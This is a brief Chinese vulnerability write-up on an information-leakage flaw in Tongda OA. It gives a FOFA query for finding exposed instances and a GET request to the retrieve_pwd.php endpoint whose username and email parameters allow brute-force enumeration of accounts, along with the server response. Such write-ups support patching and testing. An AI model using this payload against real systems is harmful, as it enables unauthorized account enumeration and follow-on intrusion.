T10-23通达-OA-InformationLeakage

网站图片：

网络测绘：

fofa语法：

app.name="通达 OA"

漏洞复现：

payload：

```
http://192.168.31.62/ispirit/retrieve_pwd.php?username=admin
get请求，参数username、email可爆破用户名、邮箱
```

效果图:

您没有设置“电子邮件外发默认邮箱”，请联系管理员重置密码